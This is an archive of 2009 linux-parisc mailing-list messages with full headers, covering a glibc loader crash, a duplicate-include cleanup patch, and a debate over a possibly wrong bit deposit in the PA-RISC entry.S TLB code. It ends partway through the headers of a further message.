Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755580AbZGGWjY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 18:39:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4238 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754983AbZGGWjX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 18:39:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 855354FB2; Tue,  7 Jul 2009 18:39:21 -0400 (EDT)
In-Reply-To: <119aab440907071517q658b124dxb5b8c7d630ff6c98@mail.gmail.com> from "Carlos O'Donell" at Jul 7, 2009 06:17:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1899 gmane.linux.debian.ports.hppa:5830 gmane.linux.debian.devel.release:31065
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1899>

> On Tue, Jul 7, 2009 at 6:07 PM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> > I would guess that the loop terminated early because the l_info array
> > is all zeros except for the first NEEDED entry. =A0It appears correct. =
> =A0The
> > loop might have terminated early because of a cache issue, or possibly
> > the value loaded from memory somehow got corrupted. =A0Another possibilit=
> y
> > would be the mmap operation wasn't complete when the memory was examined
> > by the dynamic loader. =A0When the core dump was done, the operation was
> > complete.
> >
> > I think it's less likely that a cache issue affected the memory used by
> > the dynamic loader (l_info field) as the data before and after in the
> > map seemed reasonable.
> >
> > The fact PA8700 processors are also experiencing similar problems
> > would seem to suggest that this isn't a PA8800 L2 issue unless we have
> > multiple problems.
> >
> > I think we need to try running a recent kernel on gsyprf11 for a while
> > to see if we can capture a similar event.
> 
> This rang a bell...
> 
> In glibc/elf/rtld.c we have this:
> 
>   /* Partly clean the `bootstrap_map' structure up.  Don't use
>      `memset' since it might not be built in or inlined and we cannot
>      make function calls at this point.  Use '__builtin_memset' if we
>      know it is available.  We do not have to clear the memory if we
>      do not have to use the temporary bootstrap_map.  Global variables
>      are initialized to zero by default.  */
> #ifndef DONT_USE_BOOTSTRAP_MAP
> # ifdef HAVE_BUILTIN_MEMSET
>   __builtin_memset (bootstrap_map.l_info, '\0', sizeof (bootstrap_map.l_inf=
> o));
> # else
>   for (size_t cnt =3D 0;
>        cnt < sizeof (bootstrap_map.l_info) / sizeof (bootstrap_map.l_info[0=
> ]);
>        ++cnt)
>     bootstrap_map.l_info[cnt] =3D 0;
> # endif
> 
> On hppa we don't have builtin memset (probably one of the few arches),
> so we fall back on this weird loop which I always thought was wrong.
> 
> I was seeing problems with l_info having garbage in it, so I had a
> local hack which cleared the entire bootstrap_map.
> 
> Did your l_info come from the bootstrap_map?

No.  The l_info fields for the dynamic loader and libncurses.so.5
had already been processed.  The segv occurred processing the needed
entry for libdl.so.2.  The code was processing the needed entries
for /bin/sh.

The cause of the corruption that you observed is not obvious to
me.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jaswinder Singh Rajput <jaswinder@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 26/44] includecheck fix: drivers/parisc, ccio-dma.c
Date: Wed, 08 Jul 2009 20:57:20 +0530
Lines: 32
Approved: news@gmane.org
Message-ID: <1247066840.4382.74.camel@ht.satnam>
References: <1247063308.4382.12.camel@ht.satnam>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247069120 12229 80.91.229.12 (8 Jul 2009 16:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2009 16:05:20 +0000 (UTC)
To: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	Sam Ravnborg <sam@ravnborg.org>,
	LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 08 18:05:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOZdu-0007FO-Op
	for glpp-linux-parisc@gmane.org; Wed, 08 Jul 2009 18:05:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758623AbZGHQD7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jul 2009 12:03:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758559AbZGHQD7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 8 Jul 2009 12:03:59 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:53160 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758623AbZGHQD5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jul 2009 12:03:57 -0400
Original-Received: from [192.168.1.220] (triband-del-59.180.9.101.bol.net.in [59.180.9.101] (may be forged))
	(authenticated bits=0)
	by hera.kernel.org (8.14.2/8.13.8) with ESMTP id n68G3TsY026242
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 8 Jul 2009 16:03:32 GMT
In-Reply-To: <1247063308.4382.12.camel@ht.satnam>
X-Mailer: Evolution 2.24.5 (2.24.5-2.fc10) 
X-Virus-Scanned: ClamAV 0.93.3/9546/Wed Jul  8 11:39:15 2009 on hera.kernel.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1900 gmane.linux.kernel:863157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1900>


fix the following 'make includecheck' warning:

  drivers/parisc/ccio-dma.c: linux/proc_fs.h is included more than once.

Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
---
 drivers/parisc/ccio-dma.c |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 0f0e0b9..a45b0c0 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -70,7 +70,6 @@
 #undef CCIO_COLLECT_STATS
 #endif
 
-#include <linux/proc_fs.h>
 #include <asm/runway.h>		/* for proc_runway_root */
 
 #ifdef DEBUG_CCIO_INIT
-- 
1.6.0.6



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Wierd code in Entry.S
Date: Thu, 09 Jul 2009 15:11:19 +0200
Organization: Stromasys SA
Lines: 62
Approved: news@gmane.org
Message-ID: <4A55EC77.4040402@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------010104060302060209050802"
X-Trace: ger.gmane.org 1247145099 21436 80.91.229.12 (9 Jul 2009 13:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jul 2009 13:11:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 09 15:11:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOtPO-0003BR-PT
	for glpp-linux-parisc@gmane.org; Thu, 09 Jul 2009 15:11:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759070AbZGINLa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jul 2009 09:11:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758464AbZGINLa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 9 Jul 2009 09:11:30 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:37200 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756632AbZGINL3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jul 2009 09:11:29 -0400
Original-Received: by ewy26 with SMTP id 26so178387ewy.37
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jul 2009 06:11:25 -0700 (PDT)
Original-Received: by 10.211.178.12 with SMTP id f12mr9591209ebp.98.1247145085250;
        Thu, 09 Jul 2009 06:11:25 -0700 (PDT)
Original-Received: from ?192.168.5.129? (emulators2.iae.nl [212.61.72.75])
        by mx.google.com with ESMTPS id 5sm147224eyf.34.2009.07.09.06.11.22
        (version=SSLv3 cipher=RC4-MD5);
        Thu, 09 Jul 2009 06:11:23 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1901>

This is a multi-part message in MIME format.
--------------010104060302060209050802
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi guys,

I am new to PARISC and to this forum. I have a small question. There is 
an instruction in entry.S that I do not understand. It is in the the 
macro make_insert_tlb

Kernel 2.6.26.2:

 537        /* Enforce uncacheable pages.
 538         * This should ONLY be use for MMIO on PA 2.0 machines.
 539         * Memory/DMA is cache coherent on all PA2.0 machines we 
support
 540         * (that means T-class is NOT supported) and the memory 
controllers
 541         * on most of those machines only handles cache transactions.
 542         */
 543        extrd,u,*=      \pte,_PAGE_NO_CACHE_BIT+32,1,%r0
 544        depi            1,12,1,\prot


The DEPI instruction on a 64-bit machine sets bit 44=32+12,
whereas we use the value as the argument to IDTLBT, which expects bit 12 
to be used instead. Does it mean that the U-bit is never set and the 
authorization id gets corrupted???

Is it a bug or my misunderstanding of the code???

Best regards,
Artem

--------------010104060302060209050802
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------010104060302060209050802--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Thu, 9 Jul 2009 16:55:11 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20090709225511.GE10979@lackof.org>
References: <4A55EC77.4040402@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247180124 9849 80.91.229.12 (9 Jul 2009 22:55:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jul 2009 22:55:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Artem Alimarine <artem.alimarine@stromasys.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 00:55:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MP2WJ-0003lL-Lp
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 00:55:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750707AbZGIWzO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jul 2009 18:55:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750695AbZGIWzO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 9 Jul 2009 18:55:14 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:53893 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750707AbZGIWzN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jul 2009 18:55:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8917E33E0060;
	Thu,  9 Jul 2009 16:55:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WM3CHZCbjSB0; Thu,  9 Jul 2009 16:55:12 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id EF29133E018D; Thu,  9 Jul 2009 16:55:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A55EC77.4040402@stromasys.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1902>

On Thu, Jul 09, 2009 at 03:11:19PM +0200, Artem Alimarine wrote:
> Hi guys,
>
> I am new to PARISC and to this forum. I have a small question. There is  
> an instruction in entry.S that I do not understand. It is in the the  
> macro make_insert_tlb
>
> Kernel 2.6.26.2:
>
> 537        /* Enforce uncacheable pages.
> 538         * This should ONLY be use for MMIO on PA 2.0 machines.
> 539         * Memory/DMA is cache coherent on all PA2.0 machines we support
> 540         * (that means T-class is NOT supported) and the memory controllers
> 541         * on most of those machines only handles cache transactions.
> 542         */
> 543        extrd,u,*=      \pte,_PAGE_NO_CACHE_BIT+32,1,%r0
> 544        depi            1,12,1,\prot
>
>

The "*=" in line 543 will determine if "depi" instruction (line 544)
gets executed or not. You'll need the "PA-RISC 2.0 Architecture":
    http://www.parisc-linux.org/documentation/index.html
    http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf

And read page 7-47, 7-48, and Table D-14.


> The DEPI instruction on a 64-bit machine sets bit 44=32+12,
> whereas we use the value as the argument to IDTLBT, which expects bit 12  
> to be used instead.
>
> Does it mean that the U-bit is never set and the  
> authorization id gets corrupted???

U-bit will get set only if _PAGE_NO_CACHE_BIT+32 is also set.

The bit enumeration is *reverse* with MSb being 0 for all ASM instructions
and all references in the PA2.0 Arch manual.

Because this is a 64 bit build, "+32" is needed to refer to the lower half
of the double word (word == 32 bits).

> Is it a bug or my misunderstanding of the code???

It looks correct to me. "12" here always seems to refer to the U-bit as
defined in the PA2.0 Arch manual.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Thu, 9 Jul 2009 20:15:04 -0400 (EDT)
Lines: 63
Approved: news@gmane.org
Message-ID: <20090710001506.A2C43507E@hiauly1.hia.nrc.ca>
References: <20090709225511.GE10979@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247184930 20870 80.91.229.12 (10 Jul 2009 00:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 00:15:30 +0000 (UTC)
Cc: artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 02:15:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MP3lo-0005fR-6e
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 02:15:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751078AbZGJAPK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jul 2009 20:15:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751181AbZGJAPK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 9 Jul 2009 20:15:10 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4395 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751078AbZGJAPJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jul 2009 20:15:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A2C43507E; Thu,  9 Jul 2009 20:15:05 -0400 (EDT)
In-Reply-To: <20090709225511.GE10979@lackof.org> from "Grant Grundler" at Jul 9, 2009 04:55:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1903>

> On Thu, Jul 09, 2009 at 03:11:19PM +0200, Artem Alimarine wrote:
> > Hi guys,
> >
> > I am new to PARISC and to this forum. I have a small question. There is  
> > an instruction in entry.S that I do not understand. It is in the the  
> > macro make_insert_tlb
> >
> > Kernel 2.6.26.2:
> >
> > 537        /* Enforce uncacheable pages.
> > 538         * This should ONLY be use for MMIO on PA 2.0 machines.
> > 539         * Memory/DMA is cache coherent on all PA2.0 machines we support
> > 540         * (that means T-class is NOT supported) and the memory controllers
> > 541         * on most of those machines only handles cache transactions.
> > 542         */
> > 543        extrd,u,*=      \pte,_PAGE_NO_CACHE_BIT+32,1,%r0
> > 544        depi            1,12,1,\prot
> >
> >
> 
> The "*=" in line 543 will determine if "depi" instruction (line 544)
> gets executed or not. You'll need the "PA-RISC 2.0 Architecture":
>     http://www.parisc-linux.org/documentation/index.html
>     http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf
> 
> And read page 7-47, 7-48, and Table D-14.
> 
> 
> > The DEPI instruction on a 64-bit machine sets bit 44=32+12,
> > whereas we use the value as the argument to IDTLBT, which expects bit 12  
> > to be used instead.
> >
> > Does it mean that the U-bit is never set and the  
> > authorization id gets corrupted???
> 
> U-bit will get set only if _PAGE_NO_CACHE_BIT+32 is also set.
> 
> The bit enumeration is *reverse* with MSb being 0 for all ASM instructions
> and all references in the PA2.0 Arch manual.
> 
> Because this is a 64 bit build, "+32" is needed to refer to the lower half
> of the double word (word == 32 bits).
> 
> > Is it a bug or my misunderstanding of the code???
> 
> It looks correct to me. "12" here always seems to refer to the U-bit as
> defined in the PA2.0 Arch manual.

To me, it looks like the instruction should be a depdi.  See the preceding
deposit of PAGE_USER.  According to the IDTLBT description, the U bit is
bit 12 in r2, not bit 44.

rp3440 boots with the depdi change.  Building gcc...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 09:31:05 +0200
Organization: Stromasys SA
Lines: 108
Approved: news@gmane.org
Message-ID: <4A56EE39.7040906@stromasys.com>
References: <4A55EC77.4040402@stromasys.com> <20090709225511.GE10979@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------040608030001050706060501"
X-Trace: ger.gmane.org 1247211084 8146 80.91.229.12 (10 Jul 2009 07:31:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 07:31:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 09:31:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPAZg-000771-C2
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 09:31:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750872AbZGJHbP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 03:31:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750889AbZGJHbP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 03:31:15 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:42685 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750861AbZGJHbO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 03:31:14 -0400
Original-Received: by ewy26 with SMTP id 26so852744ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 10 Jul 2009 00:31:11 -0700 (PDT)
Original-Received: by 10.210.102.12 with SMTP id z12mr1983285ebb.89.1247211071440;
        Fri, 10 Jul 2009 00:31:11 -0700 (PDT)
Original-Received: from ?192.168.5.129? (emulators2.iae.nl [212.61.72.75])
        by mx.google.com with ESMTPS id 28sm1718567eye.17.2009.07.10.00.31.09
        (version=SSLv3 cipher=RC4-MD5);
        Fri, 10 Jul 2009 00:31:10 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090709225511.GE10979@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1904>

This is a multi-part message in MIME format.
--------------040608030001050706060501
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi Grant,

My point is that IDTLBT (see page 7-65 in the PA-RISC 2.0w spec) expects 
the U-bit in 12th bit of the 64-bit DWORD, thus, in the upper part 
instead of the lower part (see the code at dtlb_miss_20w). As you said, 
the bit is set in the lower part. I still suspect that the wrong bit is 
set on a 64-bit machine.

The confusion comes from the fact that the The PA1.1 instruction IDTLBP 
expects  U-bit in the bit 12 of the WORD, whereas PA2.0 IDTLBT expects 
it in bit 12 of the DWORD.

Best regards,
Artem

Grant Grundler wrote:
> On Thu, Jul 09, 2009 at 03:11:19PM +0200, Artem Alimarine wrote:
>   
>> Hi guys,
>>
>> I am new to PARISC and to this forum. I have a small question. There is  
>> an instruction in entry.S that I do not understand. It is in the the  
>> macro make_insert_tlb
>>
>> Kernel 2.6.26.2:
>>
>> 537        /* Enforce uncacheable pages.
>> 538         * This should ONLY be use for MMIO on PA 2.0 machines.
>> 539         * Memory/DMA is cache coherent on all PA2.0 machines we support
>> 540         * (that means T-class is NOT supported) and the memory controllers
>> 541         * on most of those machines only handles cache transactions.
>> 542         */
>> 543        extrd,u,*=      \pte,_PAGE_NO_CACHE_BIT+32,1,%r0
>> 544        depi            1,12,1,\prot
>>
>>
>>     
>
> The "*=" in line 543 will determine if "depi" instruction (line 544)
> gets executed or not. You'll need the "PA-RISC 2.0 Architecture":
>     http://www.parisc-linux.org/documentation/index.html
>     http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf
>
> And read page 7-47, 7-48, and Table D-14.
>
>
>   
>> The DEPI instruction on a 64-bit machine sets bit 44=32+12,
>> whereas we use the value as the argument to IDTLBT, which expects bit 12  
>> to be used instead.
>>
>> Does it mean that the U-bit is never set and the  
>> authorization id gets corrupted???
>>     
>
> U-bit will get set only if _PAGE_NO_CACHE_BIT+32 is also set.
>
> The bit enumeration is *reverse* with MSb being 0 for all ASM instructions
> and all references in the PA2.0 Arch manual.
>
> Because this is a 64 bit build, "+32" is needed to refer to the lower half
> of the double word (word == 32 bits).
>
>   
>> Is it a bug or my misunderstanding of the code???
>>     
>
> It looks correct to me. "12" here always seems to refer to the U-bit as
> defined in the PA2.0 Arch manual.
>
> hth,
> grant
>
>   


--------------040608030001050706060501
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------040608030001050706060501--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 10 Jul 2009 15:11:29 +0000
Lines: 163
Approved: news@gmane.org
Message-ID: <1247238689.3936.16.camel@mulgrave.site>
References: <s5hprc8n0od.wl%tiwai@suse.de>  <s5hljmwn0iw.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247238704 27431 80.91.229.12 (10 Jul 2009 15:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 15:11:44 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 17:11:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPHlA-0007Ua-KI
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 17:11:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752605AbZGJPLe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 11:11:34 -0400
